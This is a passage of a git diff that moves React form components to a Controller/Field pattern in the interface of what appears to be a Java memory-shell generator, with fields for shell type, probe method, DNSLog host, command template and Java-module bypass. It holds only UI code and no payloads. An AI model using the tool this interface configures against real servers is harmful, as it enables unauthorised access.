</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerValue"
|
name="headerValue"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:headerValue")} {t("common:optional")}
|
{t("common:headerValue")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -62,6 +61,5 @@ export function Suo5TabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,14 +1,9 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import {
|
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
|
||||||
FormField,
|
|
||||||
FormFieldItem,
|
|
||||||
FormFieldLabel,
|
|
||||||
FormMessage,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { shouldHidden } from "@/lib/utils";
|
import { cn, shouldHidden } from "@/lib/utils";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
export function UrlPatternFormField({
|
export function UrlPatternFormField({
|
||||||
form,
|
form,
|
||||||
@@ -16,20 +11,19 @@ export function UrlPatternFormField({
|
|||||||
const { t } = useTranslation("common");
|
const { t } = useTranslation("common");
|
||||||
const shellType = form.watch("shellType");
|
const shellType = form.watch("shellType");
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<Controller
|
||||||
<FormField
|
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="urlPattern"
|
name="urlPattern"
|
||||||
render={({ field }) => (
|
render={({ field, fieldState }) => (
|
||||||
<FormFieldItem
|
<Field
|
||||||
className={shouldHidden(shellType) ? "hidden" : "grid"}
|
className={cn("gap-1", shouldHidden(shellType) ? "hidden" : "grid")}
|
||||||
|
data-invalid={fieldState.invalid}
|
||||||
>
|
>
|
||||||
<FormFieldLabel>{t("urlPattern")}</FormFieldLabel>
|
<FieldLabel>{t("urlPattern")}</FieldLabel>
|
||||||
<Input {...field} placeholder={t("placeholders.input")} />
|
<Input {...field} placeholder={t("placeholders.input")} />
|
||||||
<FormMessage />
|
{fieldState.error && <FieldError errors={[fieldState.error]} />}
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,17 +1,14 @@
|
|||||||
import { ServerIcon } from "lucide-react";
|
import { InfoIcon, ServerIcon } from "lucide-react";
|
||||||
import { useCallback, useEffect, useMemo } from "react";
|
import { useCallback, useEffect, useMemo } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
FormControl,
|
Field,
|
||||||
FormField,
|
FieldContent,
|
||||||
FormFieldItem,
|
FieldError,
|
||||||
FormFieldLabel,
|
FieldLabel,
|
||||||
FormItem,
|
} from "@/components/ui/field";
|
||||||
FormLabel,
|
|
||||||
FormMessage,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import {
|
import {
|
||||||
@@ -21,10 +18,15 @@ import {
|
|||||||
SelectTrigger,
|
SelectTrigger,
|
||||||
SelectValue,
|
SelectValue,
|
||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
|
import { Separator } from "@/components/ui/separator";
|
||||||
import { Switch } from "@/components/ui/switch";
|
import { Switch } from "@/components/ui/switch";
|
||||||
|
import {
|
||||||
|
Tooltip,
|
||||||
|
TooltipContent,
|
||||||
|
TooltipTrigger,
|
||||||
|
} from "@/components/ui/tooltip";
|
||||||
import type { ServerConfig } from "@/types/memshell";
|
import type { ServerConfig } from "@/types/memshell";
|
||||||
import type { ProbeShellFormSchema } from "@/types/schema";
|
import type { ProbeShellFormSchema } from "@/types/schema";
|
||||||
import { Separator } from "../ui/separator";
|
|
||||||
|
|
||||||
const PROBE_OPTIONS = [
|
const PROBE_OPTIONS = [
|
||||||
{ value: "Server" as const, label: "server" },
|
{ value: "Server" as const, label: "server" },
|
||||||
@@ -104,278 +106,6 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
resetFormValues();
|
resetFormValues();
|
||||||
}, [resetFormValues]);
|
}, [resetFormValues]);
|
||||||
|
|
||||||
const ContentOptionsSelect = useMemo(
|
|
||||||
() => (
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="probeContent"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>{t("probeshell:probeContent")}</FormFieldLabel>
|
|
||||||
<Select onValueChange={field.onChange} value={field.value || ""}>
|
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
|
||||||
<SelectValue placeholder={t("common:placeholders.select")} />
|
|
||||||
</SelectTrigger>
|
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
|
||||||
{filteredOptions.map((opt) => (
|
|
||||||
<SelectItem key={opt.value} value={opt.value}>
|
|
||||||
{t(`probeshell:probeContent.${opt.label}`)}
|
|
||||||
</SelectItem>
|
|
||||||
))}
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
),
|
|
||||||
[form.control, filteredOptions, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const RequestParamField = useMemo(
|
|
||||||
() => (
|
|
||||||
<div className="space-y-2 pt-4 border-t mt-4">
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="reqParamName"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>
|
|
||||||
{t("common:paramName")} {t("common:optional")}
|
|
||||||
</FormFieldLabel>
|
|
||||||
<FormControl>
|
|
||||||
<Input placeholder={t("placeholders.input")} {...field} />
|
|
||||||
</FormControl>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
),
|
|
||||||
[form.control, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const CommandTemplateField = useMemo(
|
|
||||||
() => (
|
|
||||||
<div className="space-y-2">
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="commandTemplate"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>
|
|
||||||
{t("common:commandTemplate")} {t("common:optional")}
|
|
||||||
</FormFieldLabel>
|
|
||||||
<FormControl>
|
|
||||||
<Input
|
|
||||||
{...field}
|
|
||||||
placeholder={t("common:commandTemplate.placeholder")}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<p className="text-xs text-muted-foreground mt-1">
|
|
||||||
{t("common:commandTemplate.description")}
|
|
||||||
</p>
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
),
|
|
||||||
[form.control, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const SleepFields = useMemo(
|
|
||||||
() => (
|
|
||||||
<div className="space-y-2 pt-4 border-t mt-4">
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="sleepServer"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>{t("probeshell:sleepServer")}</FormFieldLabel>
|
|
||||||
<Select onValueChange={field.onChange} value={field.value || ""}>
|
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
|
||||||
<SelectValue placeholder={t("placeholders.select")} />
|
|
||||||
</SelectTrigger>
|
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
|
||||||
{MIDDLEWARE_OPTIONS.map(({ value, label }) => (
|
|
||||||
<SelectItem key={value} value={value}>
|
|
||||||
{label}
|
|
||||||
</SelectItem>
|
|
||||||
))}
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="seconds"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>{t("probeshell:sleepSeconds")}</FormFieldLabel>
|
|
||||||
<FormControl>
|
|
||||||
<Input
|
|
||||||
type="number"
|
|
||||||
placeholder={t("placeholders.input")}
|
|
||||||
{...field}
|
|
||||||
onChange={(event) => field.onChange(+event.target.value)}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
),
|
|
||||||
[form.control, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const DNSLogSection = useMemo(
|
|
||||||
() => (
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="host"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>{t("probeshell:dnslog.host")}</FormFieldLabel>
|
|
||||||
<FormControl>
|
|
||||||
<Input placeholder={t("placeholders.input")} {...field} />
|
|
||||||
</FormControl>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
),
|
|
||||||
[form.control, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const MiddlewareSelect = useMemo(
|
|
||||||
() => (
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="server"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormFieldItem>
|
|
||||||
<FormFieldLabel>{t("server")}</FormFieldLabel>
|
|
||||||
<Select onValueChange={field.onChange} defaultValue={field.value}>
|
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
|
||||||
<SelectValue placeholder={t("placeholders.select")} />
|
|
||||||
</SelectTrigger>
|
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
|
||||||
{Object.keys(servers ?? {})
|
|
||||||
.filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
|
|
||||||
.map((server: string) => (
|
|
||||||
<SelectItem key={server} value={server}>
|
|
||||||
{server}
|
|
||||||
</SelectItem>
|
|
||||||
))}
|
|
||||||
</SelectContent>
|
|
||||||
</Select>
|
|
||||||
<FormMessage />
|
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
),
|
|
||||||
[form.control, servers, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const SwitchGroup = useMemo(
|
|
||||||
() => (
|
|
||||||
<div className="flex gap-4 mt-4 flex-col sm:flex-row xl:grid xl:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="debug"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
|
||||||
<FormControl>
|
|
||||||
<Switch
|
|
||||||
id="debug"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<FormLabel htmlFor="debug">{t("debug")}</FormLabel>
|
|
||||||
</FormItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="byPassJavaModule"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
|
||||||
<FormControl>
|
|
||||||
<Switch
|
|
||||||
id="bypass"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="bypass">{t("byPassJavaModule")}</Label>
|
|
||||||
</FormItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="lambdaSuffix"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
|
||||||
<FormControl>
|
|
||||||
<Switch
|
|
||||||
id="lambdaSuffix"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
|
|
||||||
</FormItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="shrink"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
|
||||||
<FormControl>
|
|
||||||
<Switch
|
|
||||||
id="shrink"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="shrink">{t("shrink")}</Label>
|
|
||||||
</FormItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
<FormField
|
|
||||||
control={form.control}
|
|
||||||
name="staticInitialize"
|
|
||||||
render={({ field }) => (
|
|
||||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
|
||||||
<FormControl>
|
|
||||||
<Switch
|
|
||||||
id="staticInitialize"
|
|
||||||
checked={field.value}
|
|
||||||
onCheckedChange={field.onChange}
|
|
||||||
/>
|
|
||||||
</FormControl>
|
|
||||||
<Label htmlFor="staticInitialize">
|
|
||||||
{t("common:staticInitialize")}
|
|
||||||
</Label>
|
|
||||||
</FormItem>
|
|
||||||
)}
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
),
|
|
||||||
[form.control, t],
|
|
||||||
);
|
|
||||||
|
|
||||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||||
const isCommandBody = watchedProbeContent === "Command";
|
const isCommandBody = watchedProbeContent === "Command";
|
||||||
const needParam =
|
const needParam =
|
||||||
@@ -386,7 +116,6 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
const isServerContent = watchedProbeContent === "Server";
|
const isServerContent = watchedProbeContent === "Server";
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<Card>
|
<Card>
|
||||||
<CardHeader className="pb-1">
|
<CardHeader className="pb-1">
|
||||||
<CardTitle className="text-md flex items-center gap-2">
|
<CardTitle className="text-md flex items-center gap-2">
|
||||||
@@ -395,21 +124,20 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
</CardTitle>
|
</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent className="space-y-2">
|
<CardContent className="space-y-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="probeMethod"
|
name="probeMethod"
|
||||||
render={({ field }) => (
|
render={({ field, fieldState }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("probeshell:probeMethod")}</FormFieldLabel>
|
<FieldLabel>{t("probeshell:probeMethod")}</FieldLabel>
|
||||||
<Select
|
<Select onValueChange={field.onChange} defaultValue={field.value}>
|
||||||
onValueChange={field.onChange}
|
<div>
|
||||||
defaultValue={field.value}
|
|
||||||
>
|
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue />
|
<SelectValue
|
||||||
|
data-placeholder={t("common:placeholders.select")}
|
||||||
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
</div>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{PROBE_METHOD_OPTIONS.map(({ value, label }) => (
|
{PROBE_METHOD_OPTIONS.map(({ value, label }) => (
|
||||||
<SelectItem key={value} value={value}>
|
<SelectItem key={value} value={value}>
|
||||||
@@ -418,37 +146,354 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
<FormMessage />
|
{fieldState.error && <FieldError errors={[fieldState.error]} />}
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
{watchedProbeMethod === "ResponseBody" && (
|
||||||
{watchedProbeMethod === "ResponseBody" && MiddlewareSelect}
|
<Controller
|
||||||
{watchedProbeMethod === "DNSLog" && DNSLogSection}
|
control={form.control}
|
||||||
{watchedProbeMethod && ContentOptionsSelect}
|
name="server"
|
||||||
{SwitchGroup}
|
render={({ field, fieldState }) => (
|
||||||
{isBodyMethod && needParam && RequestParamField}
|
<Field
|
||||||
{isBodyMethod && isCommandBody && CommandTemplateField}
|
className="gap-1"
|
||||||
{isSleepMethod && isServerContent && SleepFields}
|
orientation="vertical"
|
||||||
|
data-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="server">{t("server")}</FieldLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
defaultValue={field.value}
|
||||||
|
>
|
||||||
|
<SelectTrigger
|
||||||
|
id="server"
|
||||||
|
aria-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
|
<SelectValue
|
||||||
|
data-placeholder={t("placeholders.select")}
|
||||||
|
/>
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{Object.keys(servers ?? {})
|
||||||
|
.filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
|
||||||
|
.map((server: string) => (
|
||||||
|
<SelectItem key={server} value={server}>
|
||||||
|
{server}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{fieldState.error && (
|
||||||
|
<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{watchedProbeMethod === "DNSLog" && (
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="host"
|
||||||
|
render={({ field, fieldState }) => (
|
||||||
|
<Field
|
||||||
|
className="gap-1"
|
||||||
|
orientation="vertical"
|
||||||
|
data-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
|
<FieldLabel>{t("probeshell:dnslog.host")}</FieldLabel>
|
||||||
|
<Input placeholder={t("placeholders.input")} {...field} />
|
||||||
|
{fieldState.error && <FieldError errors={[fieldState.error]} />}
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{watchedProbeMethod && (
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="probeContent"
|
||||||
|
render={({ field, fieldState }) => (
|
||||||
|
<Field orientation="vertical" data-invalid={fieldState.invalid}>
|
||||||
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="probeContent">
|
||||||
|
{t("probeshell:probeContent")}
|
||||||
|
</FieldLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
value={field.value || ""}
|
||||||
|
>
|
||||||
|
<SelectTrigger
|
||||||
|
aria-invalid={fieldState.invalid}
|
||||||
|
id="probeContent"
|
||||||
|
>
|
||||||
|
<SelectValue
|
||||||
|
data-placeholder={t("common:placeholders.select")}
|
||||||
|
/>
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{filteredOptions.map((opt) => (
|
||||||
|
<SelectItem key={opt.value} value={opt.value}>
|
||||||
|
{t(`probeshell:probeContent.${opt.label}`)}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{fieldState.error && (
|
||||||
|
<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="debug"
|
||||||
|
render={({ field }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id="debug"
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<Label htmlFor="debug">{t("common:debug")}</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:debug.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="byPassJavaModule"
|
||||||
|
render={({ field }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id="bypass"
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:byPassJavaModule.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="lambdaSuffix"
|
||||||
|
render={({ field }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id="lambdaSuffix"
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:lambdaSuffix.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="shrink"
|
||||||
|
render={({ field }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id="shrink"
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<Label htmlFor="shrink">{t("common:shrink")}</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:shrink.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="staticInitialize"
|
||||||
|
render={({ field }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Switch
|
||||||
|
id="staticInitialize"
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<Label htmlFor="staticInitialize">
|
||||||
|
{t("common:staticInitialize")}
|
||||||
|
</Label>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:staticInitialize.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
{isBodyMethod && needParam && (
|
||||||
|
<div className="space-y-2 pt-4 border-t mt-4">
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="reqParamName"
|
||||||
|
render={({ field, fieldState }) => (
|
||||||
|
<Field className="gap-1">
|
||||||
|
<div className="flex items-center gap-1">
|
||||||
|
<FieldLabel>
|
||||||
|
{t("common:paramName")} {t("common:optional")}
|
||||||
|
</FieldLabel>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:paramName.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
|
<Input placeholder={t("placeholders.input")} {...field} />
|
||||||
|
{fieldState.error && (
|
||||||
|
<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{isBodyMethod && isCommandBody && (
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="commandTemplate"
|
||||||
|
render={({ field }) => (
|
||||||
|
<Field className="gap-1">
|
||||||
|
<FieldLabel>
|
||||||
|
{t("common:commandTemplate")} {t("common:optional")}
|
||||||
|
</FieldLabel>
|
||||||
|
<Input
|
||||||
|
{...field}
|
||||||
|
placeholder={t("common:commandTemplate.placeholder")}
|
||||||
|
/>
|
||||||
|
<p className="text-xs text-muted-foreground mt-1">
|
||||||
|
{t("common:commandTemplate.description")}
|
||||||
|
</p>
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
{isSleepMethod && isServerContent && (
|
||||||
|
<div className="space-y-2 pt-4 border-t mt-4">
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="sleepServer"
|
||||||
|
render={({ field, fieldState }) => (
|
||||||
|
<Field
|
||||||
|
className="gap-1"
|
||||||
|
orientation="vertical"
|
||||||
|
data-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
|
<FieldContent>
|
||||||
|
<FieldLabel htmlFor="sleepServer">
|
||||||
|
{t("probeshell:sleepServer")}
|
||||||
|
</FieldLabel>
|
||||||
|
<Select
|
||||||
|
onValueChange={field.onChange}
|
||||||
|
value={field.value || ""}
|
||||||
|
>
|
||||||
|
<SelectTrigger
|
||||||
|
aria-invalid={fieldState.invalid}
|
||||||
|
id="sleepServer"
|
||||||
|
>
|
||||||
|
<SelectValue
|
||||||
|
data-placeholder={t("placeholders.select")}
|
||||||
|
/>
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{MIDDLEWARE_OPTIONS.map(({ value, label }) => (
|
||||||
|
<SelectItem key={value} value={value}>
|
||||||
|
{label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{fieldState.error && (
|
||||||
|
<FieldError errors={[fieldState.error]} />
|
||||||
|
)}
|
||||||
|
</FieldContent>
|
||||||
|
</Field>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<Controller
|
||||||
|
control={form.control}
|
||||||
|
name="seconds"
|
||||||
|
render={({ field, fieldState }) => (
|
||||||
|
<Field
|
||||||
|
className="gap-1"
|
||||||
|
orientation="vertical"
|
||||||
|
data-invalid={fieldState.invalid}
|
||||||
|
>
|
||||||
|
<FieldLabel>{t("probeshell:sleepSeconds")}</FieldLabel>
|
||||||
|
<Input
|
||||||
|
type="number"
|
||||||
|
placeholder={t("placeholders.input")}
|
||||||
|
{...field}
|
||||||
|
onChange={(event) => field.onChange(+event.target.value)}
|
||||||
|
/>
|
||||||
|
{fieldState.error && (
|
||||||
|
